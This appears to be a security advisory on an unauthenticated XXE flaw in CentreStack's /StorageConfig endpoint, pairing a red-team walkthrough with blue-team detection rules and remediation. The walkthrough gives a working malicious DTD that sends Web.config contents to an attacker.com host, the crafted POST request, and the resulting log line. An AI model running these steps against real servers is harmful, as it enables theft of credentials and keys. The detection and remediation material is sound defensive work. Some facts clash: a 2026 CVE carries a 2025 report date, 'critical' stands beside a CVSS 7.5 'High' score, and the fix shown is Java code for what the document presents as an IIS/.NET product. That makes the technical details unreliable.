CVE-2026-54366

Executive Summary

CVE-2026-54366 is a critical unauthenticated XML External Entity (XXE) injection vulnerability in CentreStack versions prior to 17.4. The flaw resides in the SharePoint storage configuration handler (/StorageConfig endpoint). By supplying a malicious URL pointing to attacker-controlled XML with external DTD references, an unauthenticated attacker can force the server to fetch and parse arbitrary XML documents. This enables out-of-band file exfiltration of sensitive files such as Web.config, which may contain database credentials, cryptographic keys, and other secrets. The vulnerability carries a CVSS base score of 7.5 (High), primarily impacting confidentiality. No public exploit code (e.g., Exploit-DB) or Nuclei template was provided in the enriched intel, but the nature of XXE makes the vulnerability readily exploitable with standard XXE payloads.

Supply Chain & Package Security

Not applicable – CentreStack is a proprietary enterprise file sync platform, not distributed via NPM, PyPI, Go, or Ruby packages.

CVSS Breakdown & Threat Level

Threat Level: High – unauthenticated remote file read with no complexity barrier. Although EPSS is low, the class of vulnerability (XXE) is well understood and trivial to weaponize.

Deep Dive & Mechanics

The vulnerability resides in CentreStack’s SharePoint storage backend integration. When an administrator (or the system) configures SharePoint storage, the /StorageConfig endpoint is used to validate or import configuration data. The server accepts an XML payload (or URL pointing to an XML) without properly disabling external entity resolution.

Anatomy of the attack:

1. The attacker sends a HTTP request to /StorageConfig with a parameter (e.g., configUrl) that points to an external XML file hosted on a server they control.
2. The XML file contains a doctype declaration with an external entity referencing an attacker-specified file (e.g., ../../../Web.config or /etc/shadow).
3. CentreStack’s XML parser processes the external DTD and attempts to expand the entity, reading the local file content.
4. The result is exfiltrated via an out-of-band channel – typically by embedding the file content in a URL to the attacker’s server (e.g., <ENTITY % file SYSTEM "file:///var/www/html/Web.config"> combined with <ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>"> via parameter entities).
5. The attacker’s server logs the request, revealing the file contents.

Why it works: The XML parser is likely configured with DTD processing enabled and external-general-entities allowed. Modern secure defaults disable these, but CentreStack uses a legacy or misconfigured parser.

Vulnerable vs Patched Code

No specific code diff is public, but the fix is assumed to be:

• Vulnerable: XML parser configuration that allows DOCTYPE declaration and external entity expansion.
• Patched: Disabling DTD processing outright, or setting setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) and setFeature("http://xml.org/sax/features/external-general-entities", false).

A typical patched code snippet (Java example):

// Patched XML parsing
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

The vulnerable version did not set these security features.

Exploitation & Lab Setup

Red Team (Attacker) Guide

Prerequisites: Inbound connectivity to CentreStack’s HTTPS port (default 443), an attacker-controlled HTTP server (e.g., Python http.server or a VPS).

Step-by-step exploitation:

1. Host a malicious DTD file on the attacker server (evil.dtd):

<!ENTITY % file SYSTEM "file:///c:/inetpub/wwwroot/CentreStack/Web.config">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

Note: Adjust file path for Linux (e.g., /etc/centrestack/Web.config).

2. Send a crafted POST request to https://target/StorageConfig:

POST /StorageConfig HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded

configUrl=http://attacker.com/evil.dtd

3. Monitor the attacker HTTP server logs:

GET /?data=%3Cconfiguration%3E...%3C/configuration%3E HTTP/1.1

Decode the URL-encoded data to retrieve the file.

Alternative: Use an XXE OOB tool like xxeserv or XXEvil for automated exfiltration.

Blue Team (Defender) Detection & Containment

Immediate triage:

• Check web server logs for POST /StorageConfig with unusual configUrl values pointing to external IPs.
• Look for outbound HTTP/HTTPS requests to unknown domains from the CentreStack server immediately following StorageConfig requests.

Containment:

• Block outbound internet traffic from CentreStack server if not required.
• Restrict /StorageConfig endpoint to authenticated internal network segments (firewall rule).
• Implement Web Application Firewall (WAF) rules to block XXE payloads (e.g., <!ENTITY, SYSTEM, file://).

Forensic analysis:

• Extract XML payloads from web server logs.
• Check file system for any leaked or exfiltrated data indicators (temporary file writes).

Indicators of Compromise (IOCs)

Network IOCs:

• Connection to http://<attacker-ip>/evil.dtd from the CentreStack server.
• DNS lookups to attacker-controlled domains.
• HTTP requests to external servers with ?data= parameter containing base64/URL-encoded file content.

Host IOCs:

• Web.config or other sensitive files accessed during the attack (check lsof or auditd logs).
• XML parser temporary files (e.g., xxe-*.tmp) in system temp directories.

File Hash IOCs: N/A for this vulnerability (no payload file needed).

Log IOCs (example):

Timestamp: 2025-04-09 10:00:00
Method: POST
Path: /StorageConfig
Parameter: configUrl=http://evil.com/malicious.dtd
Response: 200 OK

Detection Engineering

YARA Rule

rule CVE_2026_54366_XXE_OOB
{
    meta:
        description = "Detects malicious XXE DTD hosted on a server targeting CentreStack"
        author = "Valters IT"
        date = "2025-04-09"
        cve = "CVE-2026-54366"
    strings:
        $dtd_entity = /<!ENTITY\s+%\s+\w+\s+SYSTEM\s+"file:\/\//i
        $exfil_entity = /<!ENTITY\s+%\s+\w+\s+SYSTEM\s+"http:\/\/[^\/"]+\/.*data=%\w+;/i
    condition:
        any of them
}

Sigma Rule

title: CentreStack XXE OOB File Exfiltration via StorageConfig
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects HTTP POST requests to /StorageConfig with external configUrl pointing to attacker-controlled server
author: Valters IT
date: 2025-04-09
tags:
  - cve.2026.54366
  - attack.t1190
  - attack.t1059
logsource:
  category: webserver
  product: iis
  service: w3svc
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem: '/StorageConfig'
    cs-uri-query|contains: 'configUrl='
    cs-uri-query|re: 'https?://[^/]+/.*\.(dtd|xml|php)'
  condition: selection
falsepositives:
  - Legitimate maintenance scripts pointing to internal config repositories
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-54366 CentreStack XXE OOB DTD Fetch"; flow:to_server,established; content:"POST"; http_method; content:"/StorageConfig"; http_uri; content:"configUrl="; http_client_body; pcre:"/https?:\/\/[^\/]+\/[^\.]+\.(dtd|xml)/i"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Short-term (Immediate)

1. Disable the /StorageConfig endpoint if not actively used, via reverse proxy or firewall rules.
2. Restrict outbound network access from the CentreStack server to only trusted internal sources (e.g., SharePoint servers).
3. Deploy WAF rules to block requests containing <!ENTITY, SYSTEM, file://, and external URLs in configUrl.

Long-term (Permanent Fix)

• Upgrade to CentreStack 17.4 or later where the XXE parser is properly hardened.
• Apply vendor patch if an interim fix is provided; reapply after any upgrades.
• Conduct security code review of XML parsing modules in any custom integrations.
• Implement file integrity monitoring for critical configuration files (e.g., Web.config).

Verification

• Test the endpoint with a benign XXE payload in a non-production environment to confirm fix.
• Run a port scan and check if /StorageConfig returns 404/403 after remediation.

Valters IT
Senior DevSecOps & CTI Analyst
Report generated 2025-04-09
Confidential – For authorized use only.